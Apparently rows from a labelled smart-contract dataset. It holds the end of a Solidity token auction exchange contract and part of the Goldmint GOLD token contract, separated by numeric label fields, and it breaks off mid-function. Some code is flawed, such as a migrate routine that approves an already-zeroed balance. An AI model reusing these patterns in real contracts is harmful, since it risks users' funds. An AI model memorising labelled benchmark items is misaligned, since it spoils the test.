fees.push(0);
}
function addToken(address t, uint min) external {
require(msg.sender == operator);
require(t > 0);
if (!token[t].everSupported) {
tokenList.push(t);
}
token[t].supported = true;
token[t].everSupported = true;
token[t].lastAuction = false;
token[t].minimumOrder = min;
if (token[t].unit == 0) {
token[t].decimals = Token(t).decimals();
token[t].unit = 10**token[t].decimals;
}
}
function setNoReturnToken(address t, bool nrt, bool nra, bool nrtf) external {
require(msg.sender == operator);
token[t].noReturnTransfer = nrt;
token[t].noReturnApprove = nra;
token[t].noReturnTransferFrom = nrtf;
}
function removeToken(address t) external {
require(msg.sender == operator);
token[t].lastAuction = true;
}
function changeAdmin(address a) external {
require(msg.sender == admin);
admin = a;
}
function changeOperator(address a) external {
require(msg.sender == admin);
operator = a;
}
function changeFeeAccount(address a) external {
require(msg.sender == admin);
require(activeAuctionCount == 0);
require(!feeAccountFinalised);
feeAccount = a;
}
function finaliseFeeAccount() external {
require(msg.sender == admin);
feeAccountFinalised = true;
}
function changeMinimumOrder(address t, uint x) external {
require(msg.sender == operator);
require(token[t].supported);
token[t].minimumOrder = x;
}
function changeFees(uint[] f) external {
require(msg.sender == operator);
require(activeAuctionCount == 0);
for (uint i=0; i < f.length; i++) {
require(f[i] < (10 finney));
}
fees = f;
}
function feeForBuyOrder(address t, uint i) public view returns (uint) {
if (i < token[t].onchainBuyCount) {
return fees[0];
} else {
if (i < token[t].publicBuyCount) {
return fees[1];
} else {
return fees[2];
}
}
}
function feeForSellOrder(address t, uint i) public view returns (uint) {
if (i < token[t].onchainSellCount) {
return fees[0];
} else {
if (i < token[t].publicSellCount) {
return fees[1];
} else {
return fees[2];
}
}
}
function isAuctionTime(address t) public view returns (bool) {
if (developmentTiming) { return true; }
return (block.timestamp < token[t].nextAuctionTime) && (!token[t].startedReveal);
}
function isRevealTime(address t) public view returns (bool) {
if (developmentTiming) { return true; }
return (block.timestamp >= token[t].nextAuctionTime || token[t].startedReveal) && (block.timestamp < token[t].nextAuctionTime + token[t].revealDuration && !token[t].startedCheck);
}
function isCheckingTime(address t) public view returns (bool) {
if (developmentTiming) { return true; }
return (block.timestamp >= token[t].nextAuctionTime + token[t].revealDuration || token[t].startedCheck) && (block.timestamp < token[t].nextAuctionTime + token[t].revealDuration + token[t].checkDuration && !token[t].startedExecute);
}
function isExecutionTime(address t) public view returns (bool) {
if (developmentTiming) { return true; }
return (block.timestamp >= token[t].nextAuctionTime + token[t].revealDuration + token[t].checkDuration || token[t].startedExecute);
}
function setDecimals(address t, uint x) public {
require(msg.sender == operator);
require(token[t].unit == 0);
token[t].decimals = x;
token[t].unit = 10**x;
}
function addReserve(uint x) external {
uint maxUInt = 0;
maxUInt = maxUInt - 1;
for (uint i=0; i < x; i++) {
reserve.push(maxUInt);
}
}
function useReserve(uint x) private {
require(x <= reserve.length);
reserve.length = reserve.length - x;
}
function startAuction(address t, uint auctionTime, uint revealDuration, uint checkDuration) external {
require(msg.sender == operator);
require(token[t].supported);
require(revealingAuctionCount == 0);
require(isExecutionTime(t) || token[t].nextAuctionTime == 0);
require(!token[t].toBeExecuted);
require(!token[t].activeAuction);
require(auctionTime > block.timestamp || developmentTiming);
require(auctionTime <= block.timestamp + 7 * 24 * 3600 || developmentTiming);
require(revealDuration <= 24 * 3600);
require(checkDuration <= 24 * 3600);
require(checkDuration >= 5 * 60);
token[t].nextAuctionTime = auctionTime;
token[t].revealDuration = revealDuration;
token[t].checkDuration = checkDuration;
token[t].startedReveal = false;
token[t].startedCheck = false;
token[t].startedExecute = false;
uint maxUInt = 0;
maxUInt = maxUInt - 1;
token[t].onchainBuyCount = maxUInt;
token[t].onchainSellCount = maxUInt;
token[t].publicBuyCount = maxUInt;
token[t].publicSellCount = maxUInt;
token[t].activeAuction = true;
activeAuctionCount++;
}
function buy_(address t, address u, uint p, uint a, uint buyCount) private {
require(is112bit(p));
require(is112bit(a));
require(token[t].supported);
require(t != address(0));
require(u != feeAccount);
uint index = addressToIndex[u];
require(index != 0);
uint balance = balances[0][u];
uint cost = safeMul(p, a) / (token[t].unit);
require(safeMul(cost, token[t].unit) == safeMul(p, a));
uint fee = feeForBuyOrder(t, buyCount);
uint totalCost = safeAdd(cost, safeMul(cost, fee) / (1 ether));
require(balance >= totalCost);
require(cost >= token[0].minimumOrder);
require(a >= token[t].minimumOrder);
balances[0][u] = safeSub(balance, totalCost);
token[t].buyOrders[buyCount] = (((index << 112) | p) << 112) | a;
emit BuyOrderPosted(t, token[t].auctionIndex, u, buyCount, p, a);
}
function sell_(address t, address u, uint p, uint a, uint sellCount) private {
require(is112bit(p));
require(is112bit(a));
require(token[t].supported);
require(t != address(0));
require(u != feeAccount);
uint index = addressToIndex[u];
require(index != 0);
uint balance = balances[t][u];
require(balance >= a);
uint cost = safeMul(p, a) / (token[t].unit);
require(safeMul(cost, token[t].unit) == safeMul(p, a));
require(cost >= token[0].minimumOrder);
require(a >= token[t].minimumOrder);
balances[t][u] = safeSub(balance, a);
token[t].sellOrders[sellCount] = (((index << 112) | p) << 112) | a;
emit SellOrderPosted(t, token[t].auctionIndex, u, sellCount, p, a);
}
function buy(address t, uint p, uint a) public {
require(isAuctionTime(t));
uint buyCount = token[t].buyCount;
buy_(t, msg.sender, p, a, buyCount);
token[t].buyCount = buyCount + 1;
}
function sell(address t, uint p, uint a) public {
require(isAuctionTime(t));
uint sellCount = token[t].sellCount;
sell_(t, msg.sender, p, a, sellCount);
token[t].sellCount = sellCount + 1;
}
function depositAndBuy(address t, uint p, uint a) external payable {
deposit();
buy(t, p, a);
if (!staticAutoWithdraw[msg.sender] && !autoWithdraw[msg.sender]) {
autoWithdraw[msg.sender] = true;
}
}
function depositAndSell(address t, uint p, uint a, uint depositAmount) external {
depositToken(t, depositAmount);
sell(t, p, a);
if (!staticAutoWithdraw[msg.sender] && !autoWithdraw[msg.sender]) {
autoWithdraw[msg.sender] = true;
}
}
function removeBuy(address t, uint i) external {
require(token[t].supported);
require(isAuctionTime(t));
uint index = addressToIndex[msg.sender];
require(index != 0);
uint order = token[t].buyOrders[i];
require(order >> 224 == index);
uint cost = safeMul(((order << 32) >> 144), ((order << 144) >> 144)) / (token[t].unit);
uint totalCost = safeAdd(cost, safeMul(cost, feeForBuyOrder(t, i)) / (1 ether));
balances[0][msg.sender] = safeAdd(balances[0][msg.sender], totalCost);
token[t].buyOrders[i] &= (((1 << 144) - 1) << 112);
emit BuyOrderRemoved(t, token[t].auctionIndex, msg.sender, i);
}
function removeSell(address t, uint i) external {
require(token[t].supported);
require(isAuctionTime(t));
uint index = addressToIndex[msg.sender];
require(index != 0);
uint order = token[t].sellOrders[i];
require(order >> 224 == index);
balances[t][msg.sender] = safeAdd(balances[t][msg.sender], (order << 144) >> 144);
token[t].sellOrders[i] &= (((1 << 144) - 1) << 112);
emit SellOrderRemoved(t, token[t].auctionIndex, msg.sender, i);
}
function startReveal(address t) external {
require(msg.sender == operator);
require(isRevealTime(t));
require(!token[t].startedReveal);
revealingAuctionCount++;
token[t].startedReveal = true;
}
function revealPublicOrdersCount(address t, uint pbc, uint psc) external {
require(msg.sender == operator);
require(isRevealTime(t));
require(token[t].startedReveal);
require(pbc >= token[t].buyCount);
require(psc >= token[t].sellCount);
require(token[t].onchainBuyCount > token[t].buyCount);
require(token[t].onchainSellCount > token[t].sellCount);
token[t].onchainBuyCount = token[t].buyCount;
token[t].onchainSellCount = token[t].sellCount;
token[t].publicBuyCount = pbc;
token[t].publicSellCount = psc;
}
function recoverHashSignatory(address t, bytes type_, uint price, uint amount, uint id, uint8 v, bytes32 r, bytes32 s) public pure returns (address) {
bytes32 hash = keccak256(abi.encodePacked(type_, amount, t, price, id));
address signatory = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), v, r, s);
require(signatory != address(0));
return signatory;
}
function recoverTypedSignatory(address t, bytes type_, uint price, uint amount, uint id, uint8 v, bytes32 r, bytes32 s) public pure returns (address) {
bytes32 hash = keccak256(abi.encodePacked(
keccak256(abi.encodePacked('string Order type', 'address Token address', 'uint256 Price', 'uint256 Amount', 'uint256 Auction index')),
keccak256(abi.encodePacked(type_, t, price, amount, id))
));
address signatory = ecrecover(hash, v, r, s);
require(signatory != address(0));
return signatory;
}
function revealBuy_(address t, uint order, uint8 v, bytes32 r, bytes32 s, uint buyCount) private {
require(msg.sender == operator);
require(isRevealTime(t));
require(token[t].startedReveal);
if (buyCount > token[t].onchainBuyCount && buyCount != token[t].publicBuyCount) {
require(order > token[t].buyOrders[buyCount - 1]);
}
address userAddress = indexToAddress[order >> 224];
uint price = (order << 32) >> 144;
uint amount = (order << 144) >> 144;
uint id = token[t].auctionIndex;
address signedUserAddress;
if (buyCount < token[t].publicBuyCount) {
signedUserAddress = recoverTypedSignatory(t, "Public buy", price, amount, id, v, r, s);
} else {
signedUserAddress = recoverTypedSignatory(t, "Hidden buy", price, amount, id, v, r, s);
}
if (signedUserAddress != userAddress) {
if (buyCount < token[t].publicBuyCount) {
signedUserAddress = recoverHashSignatory(t, "Public buy", price, amount, id, v, r, s);
} else {
signedUserAddress = recoverHashSignatory(t, "Hidden buy", price, amount, id, v, r, s);
}
require(signedUserAddress == userAddress);
}
buy_(t, userAddress, price, amount, buyCount);
}
function revealSell_(address t, uint order, uint8 v, bytes32 r, bytes32 s, uint sellCount) private {
require(msg.sender == operator);
require(isRevealTime(t));
require(token[t].startedReveal);
if (sellCount > token[t].onchainSellCount && sellCount != token[t].publicSellCount) {
require(order > token[t].sellOrders[sellCount - 1]);
}
address userAddress = indexToAddress[order >> 224];
uint price = (order << 32) >> 144;
uint amount = (order << 144) >> 144;
uint id = token[t].auctionIndex;
address signedUserAddress;
if (sellCount < token[t].publicSellCount) {
signedUserAddress = recoverTypedSignatory(t, "Public sell", price, amount, id, v, r, s);
} else {
signedUserAddress = recoverTypedSignatory(t, "Hidden sell", price, amount, id, v, r, s);
}
if (signedUserAddress != userAddress) {
if (sellCount < token[t].publicSellCount) {
signedUserAddress = recoverHashSignatory(t, "Public sell", price, amount, id, v, r, s);
} else {
signedUserAddress = recoverHashSignatory(t, "Hidden sell", price, amount, id, v, r, s);
}
require(signedUserAddress == userAddress);
}
sell_(t, userAddress, price, amount, sellCount);
}
function revealBuys(address t, uint[] order, uint8[] v, bytes32[] r, bytes32[] s, uint reserveUsage) external {
uint buyCount = token[t].buyCount;
for (uint i = 0; i < order.length; i++) {
revealBuy_(t, order[i], v[i], r[i], s[i], buyCount);
buyCount++;
}
token[t].buyCount = buyCount;
useReserve(reserveUsage);
}
function revealSells(address t, uint[] order, uint8[] v, bytes32[] r, bytes32[] s, uint reserveUsage) external {
uint sellCount = token[t].sellCount;
for (uint i = 0; i < order.length; i++) {
revealSell_(t, order[i], v[i], r[i], s[i], sellCount);
sellCount++;
}
token[t].sellCount = sellCount;
useReserve(reserveUsage);
}
function addEtherBalance_(address userAddress, uint amount) private {
bool withdrawn = false;
if (amount > 0) {
if (autoWithdraw[userAddress] && !token[0].autoWithdrawDisabled) {
uint size;
assembly {size := extcodesize(userAddress)}
if (size == 0) {
withdrawn = userAddress.send(amount);
}
}
if (!withdrawn) {
balances[0][userAddress] = safeAdd(balances[0][userAddress], amount);
}
}
}
function addTokenBalance_(address tokenAddress, address userAddress, uint amount) private {
require(tokenAddress != address(0));
bool withdrawn = false;
if (amount > 0) {
if (autoWithdraw[userAddress] && !token[tokenAddress].autoWithdrawDisabled) {
if (!token[tokenAddress].noReturnTransfer) {
withdrawn = Token(tokenAddress).transfer(userAddress, amount);
}
}
if (!withdrawn) {
balances[tokenAddress][userAddress] = safeAdd(balances[tokenAddress][userAddress], amount);
}
}
}
function checkVolume(address t, uint pb, uint ps, uint limit, uint reserveUsage) external {
require(is112bit(pb));
require(is112bit(ps));
require(ps <= pb);
require(token[t].supported);
require(isCheckingTime(t));
require(token[t].startedReveal);
if (!token[t].startedCheck) {
revealingAuctionCount = safeSub(revealingAuctionCount, 1);
token[t].startedCheck = true;
}
if (token[t].checkAuctionIndex[pb][ps] < token[t].auctionIndex) {
token[t].checkIndex[pb][ps] = 0;
token[t].checkBuyVolume[pb][ps] = 0;
token[t].checkSellVolume[pb][ps] = 0;
token[t].checkAuctionIndex[pb][ps] = token[t].auctionIndex;
}
uint buyVolume = token[t].checkBuyVolume[pb][ps];
uint order;
for (uint i = token[t].checkIndex[pb][ps]; (i < safeAdd(token[t].checkIndex[pb][ps], limit)) && (i < token[t].buyCount); i++) {
order = token[t].buyOrders[i];
if ((order << 32) >> 144 >= pb) {
buyVolume += (order << 144) >> 144;
}
}
uint sellVolume = token[t].checkSellVolume[pb][ps];
for (i = token[t].checkIndex[pb][ps]; (i < safeAdd(token[t].checkIndex[pb][ps], limit)) && (i < token[t].sellCount); i++) {
order = token[t].sellOrders[i];
if ((order << 32) >> 144 <= ps) {
sellVolume += (order << 144) >> 144;
}
}
token[t].checkIndex[pb][ps] = safeAdd(token[t].checkIndex[pb][ps], limit);
if ((token[t].checkIndex[pb][ps] >= token[t].buyCount) && (token[t].checkIndex[pb][ps] >= token[t].sellCount)) {
uint volume;
if (buyVolume < sellVolume) {
volume = buyVolume;
} else {
volume = sellVolume;
}
if (volume > token[t].maxVolume || (volume == token[t].maxVolume && pb > token[t].maxVolumePriceB) || (volume == token[t].maxVolume && pb == token[t].maxVolumePriceB && ps < token[t].maxVolumePriceS)) {
token[t].maxVolume = volume;
if (buyVolume > sellVolume) {
token[t].maxVolumePrice = pb;
} else {
if (sellVolume > buyVolume) {
token[t].maxVolumePrice = ps;
} else {
token[t].maxVolumePrice = ps;
token[t].maxVolumePrice += (pb - ps) / 2;
}
}
token[t].maxVolumePriceB = pb;
token[t].maxVolumePriceS = ps;
}
if (msg.sender == operator) {
token[t].toBeExecuted = true;
}
} else {
token[t].checkBuyVolume[pb][ps] = buyVolume;
token[t].checkSellVolume[pb][ps] = sellVolume;
}
if (msg.sender == operator) {
useReserve(reserveUsage);
}
}
function executeAuction(address t, uint limit, uint reserveUsage) external {
require(isExecutionTime(t));
require(token[t].supported);
require(token[t].activeAuction);
if (!token[t].startedCheck) {
if (token[t].startedReveal) {
revealingAuctionCount = safeSub(revealingAuctionCount, 1);
}
token[t].startedCheck = true;
}
if (!token[t].toBeExecuted) {
token[t].maxVolume = 0;
}
if (!token[t].startedExecute) {
token[t].startedExecute = true;
}
uint amount;
uint volume = token[t].executionBuyVolume;
uint[6] memory current;
uint feeAccountBalance = balances[0][feeAccount];
address currentAddress;
for (uint i = token[t].executionIndex; (i < safeAdd(token[t].executionIndex, limit)) && (i < token[t].buyCount); i++) {
current[0] = token[t].buyOrders[i];
currentAddress = indexToAddress[current[0] >> 224];
if ((current[0] << 32) >> 144 >= token[t].maxVolumePriceB && volume < token[t].maxVolume) {
amount = (current[0] << 144) >> 144;
volume += amount;
if (volume > token[t].maxVolume) {
current[1] = safeMul((current[0] << 32) >> 144, amount) / (token[t].unit);
current[2] = safeAdd(current[1], safeMul(current[1], feeForBuyOrder(t, i)) / (1 ether));
amount = safeSub(amount, safeSub(volume, token[t].maxVolume));
current[3] = safeMul((current[0] << 32) >> 144, amount) / (token[t].unit);
current[4] = safeAdd(current[3], safeMul(current[3], feeForBuyOrder(t, i)) / (1 ether));
addEtherBalance_(currentAddress, safeSub(current[2], current[4]));
}
if ((current[0] << 32) >> 144 > token[t].maxVolumePrice) {
current[1] = safeMul((current[0] << 32) >> 144, amount) / (token[t].unit);
current[2] = safeAdd(current[1], safeMul(current[1], feeForBuyOrder(t, i)) / (1 ether));
current[3] = safeMul(token[t].maxVolumePrice, amount) / (token[t].unit);
current[4] = safeAdd(current[3], safeMul(current[3], feeForBuyOrder(t, i)) / (1 ether));
addEtherBalance_(currentAddress, safeSub(current[2], current[4]));
}
addTokenBalance_(t, currentAddress, amount);
current[5] = safeMul(safeMul(token[t].maxVolumePrice, amount) / (token[t].unit), feeForBuyOrder(t, i)) / (1 ether);
feeAccountBalance += current[5];
} else {
current[1] = safeMul((current[0] << 32) >> 144, (current[0] << 144) >> 144) / (token[t].unit);
current[2] = safeAdd(current[1], safeMul(current[1], feeForBuyOrder(t, i)) / (1 ether));
addEtherBalance_(currentAddress, current[2]);
}
}
token[t].executionBuyVolume = volume;
volume = token[t].executionSellVolume;
for (i = token[t].executionIndex; (i < safeAdd(token[t].executionIndex, limit)) && (i < token[t].sellCount); i++) {
current[0] = token[t].sellOrders[i];
currentAddress = indexToAddress[current[0] >> 224];
if ((current[0] << 32) >> 144 <= token[t].maxVolumePriceS && volume < token[t].maxVolume) {
amount = (current[0] << 144) >> 144;
volume += amount;
if (volume > token[t].maxVolume) {
addTokenBalance_(t, currentAddress, safeSub(volume, token[t].maxVolume));
amount = safeSub(amount, safeSub(volume, token[t].maxVolume));
}
current[5] = safeMul(safeMul(token[t].maxVolumePrice, amount) / (token[t].unit), feeForSellOrder(t, i)) / (1 ether);
addEtherBalance_(currentAddress, safeSub(safeMul(token[t].maxVolumePrice, amount) / (token[t].unit), current[5]));
feeAccountBalance += current[5];
} else {
addTokenBalance_(t, currentAddress, (current[0] << 144) >> 144);
}
}
token[t].executionSellVolume = volume;
balances[0][feeAccount] = feeAccountBalance;
token[t].executionIndex = safeAdd(token[t].executionIndex, limit);
if ((token[t].executionIndex >= token[t].buyCount) && (token[t].executionIndex >= token[t].sellCount)) {
if (token[t].maxVolume > 0) {
token[t].lastPrice = token[t].maxVolumePrice;
emit AuctionHistory(t, token[t].auctionIndex, token[t].nextAuctionTime, token[t].maxVolumePrice, token[t].maxVolume);
}
token[t].buyCount = 0;
token[t].sellCount = 0;
token[t].maxVolume = 0;
token[t].executionIndex = 0;
token[t].executionBuyVolume = 0;
token[t].executionSellVolume = 0;
token[t].toBeExecuted = false;
token[t].activeAuction = false;
token[t].auctionIndex++;
activeAuctionCount = safeSub(activeAuctionCount, 1);
if (token[t].lastAuction) {
token[t].supported = false;
}
}
useReserve(reserveUsage);
}
function register_() private returns (uint32) {
require(is32bit(indexToAddress.length + 1));
require(addressToIndex[msg.sender] == 0);
uint32 index = uint32(indexToAddress.length);
addressToIndex[msg.sender] = index;
indexToAddress.push(msg.sender);
return index;
}
function deposit() public payable {
address index = addressToIndex[msg.sender];
if (index == 0) {
index = register_();
}
balances[0][msg.sender] = safeAdd(balances[0][msg.sender], msg.value);
emit Deposit(0, msg.sender, msg.value);
if (!staticAutoWithdraw[msg.sender] && autoWithdraw[msg.sender]) {
autoWithdraw[msg.sender] = false;
}
}
function withdraw(uint a) external {
require(balances[0][msg.sender] >= a);
require(revealingAuctionCount == 0);
balances[0][msg.sender] = safeSub(balances[0][msg.sender], a);
emit Withdrawal(0, msg.sender, a);
require(msg.sender.send(a));
}
function depositToken_(address t, uint a, address u) private {
require(t > 0);
require(token[t].supported);
uint32 index = addressToIndex[u];
if (index == 0) {
index = register_();
}
if (!token[t].noReturnTransferFrom) {
require(Token(t).transferFrom(u, this, a));
} else {
NoReturnToken(t).transferFrom(u, this, a);
}
balances[t][u] = safeAdd(balances[t][u], a);
emit Deposit(t, u, a);
if (!staticAutoWithdraw[u] && autoWithdraw[u]) {
autoWithdraw[u] = false;
}
}
function depositToken(address t, uint a) public {
depositToken_(t, a, msg.sender);
}
function receiveApproval(address u, uint256 a, address t, bytes d) external {
require(t == msg.sender);
require(token[t].supported);
if (d.length < 64) {
depositToken_(t, a, u);
} else {
require(d.length == 64);
uint price;
uint amount;
assembly { price := calldataload(164) }
assembly { amount := calldataload(196) }
depositToken_(t, a, u);
require(isAuctionTime(t));
uint sellCount = token[t].sellCount;
sell_(t, u, price, amount, sellCount);
token[t].sellCount = sellCount + 1;
if (!staticAutoWithdraw[u] && !autoWithdraw[u]) {
autoWithdraw[u] = true;
}
}
}
function withdrawToken(address t, uint a) external {
require(t > 0);
require(balances[t][msg.sender] >= a);
require((!token[t].startedReveal) || (token[t].startedCheck));
balances[t][msg.sender] = safeSub(balances[t][msg.sender], a);
emit Withdrawal(t, msg.sender, a);
if (!token[t].noReturnTransfer) {
require(Token(t).transfer(msg.sender, a));
} else {
NoReturnToken(t).transfer(msg.sender, a);
}
}
function withdrawForUser(address u, address t, uint a, address feeAddress, uint fee, uint8 v, bytes32 r, bytes32 s) external {
require(msg.sender == operator);
require(u != address(0));
bytes32 hash = keccak256(abi.encodePacked(t, a, feeAddress, fee, signedWithdrawalNonce[u]));
address signatory = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", hash)), v, r, s);
require(signatory == u);
signedWithdrawalNonce[u]++;
balances[feeAddress][u] = safeSub(balances[feeAddress][u], fee);
balances[feeAddress][feeAccount] = safeAdd(balances[feeAddress][feeAccount], fee);
require(balances[t][u] >= a);
if (t == address(0)) {
balances[t][u] = safeSub(balances[t][u], a);
emit Withdrawal(t, u, a);
require(u.call.value(a)());
} else {
balances[t][u] = safeSub(balances[t][u], a);
emit Withdrawal(t, u, a);
if (!token[t].noReturnTransfer) {
require(Token(t).transfer(u, a));
} else {
NoReturnToken(t).transfer(u, a);
}
}
}
function setStaticAutoWithdraw(bool b) external {
staticAutoWithdraw[msg.sender] = b;
}
function setAutoWithdrawDisabled(address t, bool b) external {
require(msg.sender == operator);
token[t].autoWithdrawDisabled = b;
}
function setVerifiedContract(address c, bool b) external {
require(msg.sender == admin);
verifiedContract[c] = b;
}
function claimNeverSupportedToken(address t, uint a) external {
require(!token[t].everSupported);
require(msg.sender == admin);
require(Token(t).balanceOf(this) >= a);
balances[t][msg.sender] = safeAdd(balances[t][msg.sender], a);
}
function migrate(address contractAddress, uint low, uint high) external {
require(verifiedContract[contractAddress]);
require(tokenList.length > 0);
require(revealingAuctionCount == 0);
uint amount = 0;
if (balances[0][msg.sender] > 0) {
amount = balances[0][msg.sender];
balances[0][msg.sender] = 0;
NewAuction(contractAddress).depositForUser.value(amount)(msg.sender);
}
uint to;
if (high >= tokenList.length) {
to = safeSub(tokenList.length, 1);
} else {
to = high;
}
for (uint i=low; i <= to; i++) {
if (balances[tokenList[i]][msg.sender] > 0) {
amount = balances[tokenList[i]][msg.sender];
balances[tokenList[i]][msg.sender] = 0;
if (!token[tokenList[i]].noReturnApprove) {
require(Token(tokenList[i]).approve(contractAddress, balances[tokenList[i]][msg.sender]));
} else {
NoReturnToken(tokenList[i]).approve(contractAddress, balances[tokenList[i]][msg.sender]);
}
NewAuction(contractAddress).depositTokenForUser(msg.sender, tokenList[i], amount);
}
}
}
function getBalance(address t, address a) external constant returns (uint) {
return balances[t][a];
}
function getBuyCount(address t) external constant returns (uint) {
return token[t].buyCount;
}
function getBuyAddress(address t, uint i) external constant returns (address) {
return indexToAddress[token[t].buyOrders[i] >> 224];
}
function getBuyPrice(address t, uint i) external constant returns (uint) {
return (token[t].buyOrders[i] << 32) >> 144;
}
function getBuyAmount(address t, uint i) external constant returns (uint) {
return (token[t].buyOrders[i] << 144) >> 144;
}
function getSellCount(address t) external constant returns (uint) {
return token[t].sellCount;
}
function getSellAddress(address t, uint i) external constant returns (address) {
return indexToAddress[token[t].sellOrders[i] >> 224];
}
function getSellPrice(address t, uint i) external constant returns (uint) {
return (token[t].sellOrders[i] << 32) >> 144;
}
function getSellAmount(address t, uint i) external constant returns (uint) {
return (token[t].sellOrders[i] << 144) >> 144;
}
function getMaxVolume(address t) external constant returns (uint) {
return token[t].maxVolume;
}
function getMaxVolumePriceB(address t) external constant returns (uint) {
return token[t].maxVolumePriceB;
}
function getMaxVolumePriceS(address t) external constant returns (uint) {
return token[t].maxVolumePriceS;
}
function getMaxVolumePrice(address t) external constant returns (uint) {
return token[t].maxVolumePrice;
}
function getUserIndex(address u) external constant returns (uint) {
return addressToIndex[u];
}
function getAuctionIndex(address t) external constant returns (uint) {
return token[t].auctionIndex;
}
function getNextAuctionTime(address t) external constant returns (uint) {
return token[t].nextAuctionTime;
}
function getLastPrice(address t) external constant returns (uint) {
return token[t].lastPrice;
}
} | 0 | 556 |
pragma solidity ^0.4.19;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract CreatorEnabled {
address public creator = 0x0;
modifier onlyCreator() { require(msg.sender==creator); _; }
function changeCreator(address _to) public onlyCreator {
creator = _to;
}
}
contract StdToken is SafeMath {
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint public totalSupply = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns(bool) {
require(0x0!=_to);
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
require(0x0!=_to);
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
modifier onlyPayloadSize(uint _size) {
require(msg.data.length >= _size + 4);
_;
}
}
contract IGoldFee {
function calculateFee(
bool _isMigrationStarted, bool _isMigrationFinished,
uint _mntpBalance, uint _value) public constant returns(uint);
}
contract GoldFee is CreatorEnabled {
function GoldFee() {
creator = msg.sender;
}
function getMin(uint out)returns (uint) {
uint minFee = (2 * 1 ether) / 1000;
if (out < minFee) {
return minFee;
}
return out;
}
function getMax(uint out)returns (uint) {
uint maxFee = (2 * 1 ether) / 100;
if (out >= maxFee) {
return maxFee;
}
return out;
}
function calculateFee(
bool _isMigrationStarted, bool _isMigrationFinished,
uint _mntpBalance, uint _value) public constant returns(uint)
{
if (_isMigrationFinished) {
return (_value / 100);
}
if (_mntpBalance >= (10000 * 1 ether)) {
return getMax((_value / 100) / 30);
}
if (_mntpBalance >= (1000 * 1 ether)) {
return getMin((_value / 100) / 30);
}
if (_mntpBalance >= (10 * 1 ether)) {
return getMin((_value / 100) / 3);
}
return getMin(_value / 100);
}
}
contract Gold is StdToken, CreatorEnabled {
string public constant name = "Goldmint GOLD Token";
string public constant symbol = "GOLD";
uint8 public constant decimals = 18;
address public migrationAddress = 0x0;
address public storageControllerAddress = 0x0;
address public goldmintTeamAddress = 0x0;
IMNTP public mntpToken;
IGoldFee public goldFee;
bool public transfersLocked = false;
bool public contractLocked = false;
bool public migrationStarted = false;
bool public migrationFinished = false;
uint public totalIssued = 0;
uint public totalBurnt = 0;
modifier onlyMigration() { require(msg.sender == migrationAddress); _; }
modifier onlyCreator() { require(msg.sender == creator); _; }
modifier onlyMigrationOrStorageController() { require(msg.sender == migrationAddress || msg.sender == storageControllerAddress); _; }
modifier onlyCreatorOrStorageController() { require(msg.sender == creator || msg.sender == storageControllerAddress); _; }
modifier onlyIfUnlocked() { require(!transfersLocked); _; }
function Gold(address _mntpContractAddress, address _goldmintTeamAddress, address _goldFeeAddress) public {
creator = msg.sender;
mntpToken = IMNTP(_mntpContractAddress);
goldmintTeamAddress = _goldmintTeamAddress;
goldFee = IGoldFee(_goldFeeAddress);
}
function setCreator(address _address) public onlyCreator {
creator = _address;
}
function lockContract(bool _contractLocked) public onlyCreator {
contractLocked = _contractLocked;
}
function setStorageControllerContractAddress(address _address) public onlyCreator {
storageControllerAddress = _address;
}
function setMigrationContractAddress(address _migrationAddress) public onlyCreator {
migrationAddress = _migrationAddress;
}
function setGoldmintTeamAddress(address _teamAddress) public onlyCreator {
goldmintTeamAddress = _teamAddress;
}
function setGoldFeeAddress(address _goldFeeAddress) public onlyCreator {
goldFee = IGoldFee(_goldFeeAddress);
}
function issueTokens(address _who, uint _tokens) public onlyCreatorOrStorageController {
require(!contractLocked);
balances[_who] = safeAdd(balances[_who],_tokens);
totalSupply = safeAdd(totalSupply,_tokens);
totalIssued = safeAdd(totalIssued,_tokens);
Transfer(0x0, _who, _tokens);
}
function burnTokens(address _who, uint _tokens) public onlyMigrationOrStorageController {
require(!contractLocked);
balances[_who] = safeSub(balances[_who],_tokens);
totalSupply = safeSub(totalSupply,_tokens);
totalBurnt = safeAdd(totalBurnt,_tokens);
}
function startMigration() public onlyMigration {
require(false == migrationStarted);
migrationStarted = true;
}
function finishMigration() public onlyMigration {
require(true == migrationStarted);
migrationFinished = true;
}
function lockTransfer(bool _lock) public onlyMigration {
transfersLocked = _lock;
}
function transfer(address _to, uint256 _value) public onlyIfUnlocked onlyPayloadSize(2 * 32) returns(bool) {
uint yourCurrentMntpBalance = mntpToken.balanceOf(msg.sender);
uint fee = goldFee.calculateFee(migrationStarted, migrationFinished, yourCurrentMntpBalance, _value);
uint sendThis = _value;
if (0 != fee) {
sendThis = safeSub(_value,fee);
if (migrationStarted) {
super.transfer(goldmintTeamAddress, fee);
} else {
super.transfer(migrationAddress, fee);
}
}
return super.transfer(_to, sendThis);
}
function transferFrom(address _from, address _to, uint256 _value) public onlyIfUnlocked returns(bool) {
uint yourCurrentMntpBalance = mntpToken.balanceOf(_from);
uint fee = goldFee.calculateFee(migrationStarted, migrationFinished, yourCurrentMntpBalance, _value);
if (0 != fee) {
if (migrationStarted) {
super.transferFrom(_from, goldmintTeamAddress, fee);
} else {
super.transferFrom(_from, migrationAddress, fee);
}
